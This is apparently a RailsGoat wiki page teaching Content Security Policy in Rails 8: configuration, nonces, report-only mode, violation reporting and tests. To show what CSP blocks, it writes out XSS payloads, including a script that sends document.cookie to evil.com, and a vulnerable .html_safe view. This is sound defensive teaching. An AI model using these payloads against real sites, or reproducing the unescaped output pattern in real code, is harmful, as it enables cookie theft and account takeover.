-
Notifications
You must be signed in to change notification settings - Fork 774
R8 A3 CSP Improvements
Content Security Policy (CSP) is a defense-in-depth mechanism that helps mitigate Cross-Site Scripting (XSS) attacks. While Rails has supported CSP since Rails 5.2, Rails 8 includes enhanced default configurations and better integration.
CSP is an HTTP response header that tells browsers which sources of content are allowed to load and execute on a web page.
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'Translation:
-
default-src 'self': Only load resources from same origin by default -
script-src 'self' https://cdn.example.com: JavaScript only from same origin or CDN -
style-src 'self' 'unsafe-inline': CSS from same origin, allow inline styles
Vulnerable Code:
<%# app/views/layouts/shared/_header.html.erb %>
Welcome, <%= current_user.first_name.html_safe %>Attack:
# Attacker registers with first_name:
"<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>"Result: Script executes, cookies stolen.
Same Vulnerable Code:
Welcome, <%= current_user.first_name.html_safe %>Same Attack:
"<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>"Result:
[CSP] Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'"
Script is blocked, even though .html_safe was used!
# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
policy.default_src :self, :https
policy.font_src :self, :https, :data
policy.img_src :self, :https, :data
policy.object_src :none
policy.script_src :self, :https
policy.style_src :self, :https
# Specify URI for violation reports
# policy.report_uri "/csp-violation-report-endpoint"
end
# Generate session nonces for permitted inline scripts and styles
Rails.application.config.content_security_policy_nonce_generator = ->(request) {
SecureRandom.base64(16)
}
# Report violations without enforcing policy (development only)
# Rails.application.config.content_security_policy_report_only = true| Directive | Purpose | Example |
|---|---|---|
default-src |
Fallback for other directives |
:self (same origin only) |
script-src |
Controls JavaScript sources | :self, https://cdn.js.com |
style-src |
Controls CSS sources | :self, 'unsafe-inline' |
img-src |
Controls image sources |
:self, :data (same origin + data URIs) |
font-src |
Controls font sources | :self, :https |
connect-src |
Controls AJAX/WebSocket | :self |
frame-src |
Controls <iframe> sources |
:none (no iframes) |
object-src |
Controls <object>, <embed>
|
:none (no plugins) |
report-uri |
Where to send violation reports | /csp-violations |
-
'self'- Same origin as the document -
'none'- Nothing is allowed -
'unsafe-inline'- Allow inline scripts/styles (⚠️ dangerous) -
'unsafe-eval'- Alloweval()(⚠️ dangerous) -
'nonce-xxx'- Allow specific inline script with nonce -
'sha256-xxx'- Allow specific inline script matching hash
Vulnerable Code:
<%# app/views/layouts/shared/_header.html.erb %>
Welcome, <%= current_user.first_name.html_safe %>Attack Payload:
<script>alert('XSS')</script>Result: ✅ Attack succeeds (alert box displays)
Same Vulnerable Code:
Welcome, <%= current_user.first_name.html_safe %>Attack Payload:
<script>alert('XSS')</script>Result: ❌ Attack blocked by CSP
Browser Console:
[Error] Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution.
Attacker tries external script:
<script src="https://evil.com/xss.js"></script>Result: ❌ Blocked
[Error] Refused to load script from 'https://evil.com/xss.js' because it violates the following Content Security Policy directive: "script-src 'self'".
Attacker tries event handler:
<img src=x onerror="alert('XSS')">Result: ❌ Blocked
[Error] Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'self'".
Important: CSP blocks script execution, not HTML injection.
Attack Payload:
<h1 style="color: red">HACKED</h1>
<img src="https://evil.com/track.gif">Result:
- ✅ HTML renders (defacement possible)
- ✅ Image loads (tracking possible if
img-srcallows it) - ❌ But no JavaScript executes
Key Takeaway: CSP is defense-in-depth, not a replacement for proper input validation and output encoding.
# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
policy.default_src :self
policy.script_src :self, :https
policy.style_src :self, :https, :unsafe_inline # Allow inline CSS for now
policy.img_src :self, :https, :data
policy.font_src :self, :https, :data
policy.connect_src :self
policy.frame_src :none
policy.object_src :none
# Send violation reports for monitoring
policy.report_uri "/csp-violation-reports"
end
# Enable nonce generation
Rails.application.config.content_security_policy_nonce_generator = ->(request) {
SecureRandom.base64(16)
}<%# app/views/layouts/application.html.erb %>
<!DOCTYPE html>
<html>
<head>
<%= javascript_include_tag "application", nonce: true %>
<%= stylesheet_link_tag "application", nonce: true %>
</head>
<body>
<%= yield %>
</body>
</html>Generated HTML:
<script src="/assets/application.js" nonce="abc123..."></script>HTTP Header:
Content-Security-Policy: script-src 'self' 'nonce-abc123...'Option 1: Move to External Files (Recommended)
<%# Before: Inline script (blocked by CSP) %>
<script>
console.log('Hello');
</script>
<%# After: External file (allowed by CSP) %>
<%= javascript_include_tag "dashboard", nonce: true %>Option 2: Use Nonces
<script nonce="<%= content_security_policy_nonce %>">
console.log('Allowed with nonce');
</script>Option 3: Allow 'unsafe-inline' (Not Recommended)
# config/initializers/content_security_policy.rb
policy.script_src :self, :unsafe_inline # ⚠️ Weakens CSP protection# app/controllers/csp_reports_controller.rb
class CspReportsController < ApplicationController
skip_before_action :verify_authenticity_token
skip_before_action :authenticate_user!
def create
report = JSON.parse(request.body.read)
Rails.logger.warn "[CSP Violation] #{report['csp-report']}"
# Send to monitoring service
# SecurityMonitoring.log_csp_violation(report)
head :ok
end
end# config/routes.rb
post '/csp-violation-reports', to: 'csp_reports#create'Example Violation Report:
{
"csp-report": {
"document-uri": "https://railsgoat.com/users/profile",
"violated-directive": "script-src",
"blocked-uri": "https://evil.com/xss.js",
"source-file": "https://railsgoat.com/users/profile",
"line-number": 23,
"column-number": 15,
"status-code": 200
}
}Use for testing CSP without breaking functionality:
# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy_report_only = trueEffect: Violations are reported but not enforced.
HTTP Header:
Content-Security-Policy-Report-Only: script-src 'self'; report-uri /csp-violationsUse Case: Test CSP in production without breaking site, then enforce once violations are resolved.
Problem: External analytics scripts
Solution:
policy.script_src :self, 'https://www.google-analytics.com', 'https://www.googletagmanager.com'
policy.connect_src :self, 'https://www.google-analytics.com'Problem: Scripts from CDN
Solution:
policy.script_src :self, 'https://code.jquery.com'Problem: onclick="..."
Bad:
<button onclick="doSomething()">Click Me</button>Good:
<button data-action="do-something">Click Me</button>
<script nonce="<%= content_security_policy_nonce %>">
document.querySelector('[data-action="do-something"]').addEventListener('click', () => {
doSomething();
});
</script>Better (external file):
// app/assets/javascripts/buttons.js
document.addEventListener('DOMContentLoaded', () => {
document.querySelector('[data-action="do-something"]').addEventListener('click', () => {
doSomething();
});
});Problem: <div style="...">
Solution 1: Move to CSS classes
<%# Before %>
<div style="color: red">Text</div>
<%# After %>
<div class="error-text">Text</div>Solution 2: Allow unsafe-inline (not recommended)
policy.style_src :self, :unsafe_inlineSolution 3: Use nonces
<style nonce="<%= content_security_policy_nonce %>">
.custom-style { color: red; }
</style>- Open browser Developer Tools (Console tab)
- Navigate to page with XSS vulnerability
- Try to inject script
- Check console for CSP violation messages
# test/controllers/users_controller_test.rb
test "should set CSP headers" do
get users_path
assert_response :success
csp_header = response.headers['Content-Security-Policy']
assert csp_header.present?, "CSP header should be set"
assert_includes csp_header, "script-src 'self'"
assert_includes csp_header, "object-src 'none'"
end
test "inline script should be blocked by CSP" do
# This test requires a headless browser (Selenium/Capybara)
visit page_with_xss_path
# Inject inline script
evaluate_script("alert('XSS')")
# Should see CSP error in browser console
# (Specific assertion depends on test framework)
end- CSP Evaluator - Google's CSP analyzer
- CSP Scanner - Online CSP tester
- Observatory by Mozilla - Security header checker
-
Start with Report-Only mode
config.content_security_policy_report_only = true
-
Use nonces for inline scripts
<script nonce="<%= content_security_policy_nonce %>">
-
Move inline scripts to external files
// app/assets/javascripts/feature.js -
Monitor violation reports
Rails.logger.warn "[CSP] #{report}"
-
Use specific directives
policy.script_src :self, 'https://trusted-cdn.com'
-
Don't use 'unsafe-inline' for scripts
policy.script_src :self, :unsafe_inline # ⚠️ Defeats purpose of CSP
-
Don't use 'unsafe-eval'
policy.script_src :self, :unsafe_eval # ⚠️ Allows eval()
-
Don't allow all sources
policy.script_src '*' # ⚠️ Allows any domain
-
Don't rely on CSP alone
- Still validate input
- Still escape output
- CSP is defense-in-depth, not a fix
| Feature | Rails 5.2+ | Rails 8 |
|---|---|---|
| CSP Support | ✅ Available | ✅ Enhanced |
| Default Config | Manual setup | ✅ Better defaults |
| Nonce Generation | Available | ✅ Improved integration |
| Report-Only Mode | ✅ Yes | ✅ Yes |
| Violation Reporting | ✅ Yes | ✅ Yes |
| Documentation | Good | ✅ Better |
Key Difference: Rails 8 has better out-of-the-box CSP configuration, but the core functionality has been available since Rails 5.2.
- ✅ CSP is defense-in-depth - doesn't replace proper encoding
- ✅ Rails 8 has better CSP defaults than Rails 5
- ✅ Use Report-Only mode first to test without breaking site
- ✅ Nonces allow inline scripts while maintaining security
- ✅ Monitor violation reports to detect attacks
- ❌ Never use 'unsafe-inline' for scripts - defeats CSP purpose
- ❌ CSP doesn't prevent HTML injection - only script execution
Bottom Line: CSP in Rails 8 provides powerful XSS mitigation even when developers make mistakes with .html_safe, but it requires proper configuration and doesn't eliminate the need for secure coding practices.
Sections are divided by their OWASP Top Ten label (A1-A10) and marked as R4 and R5 for Rails 4 and 5.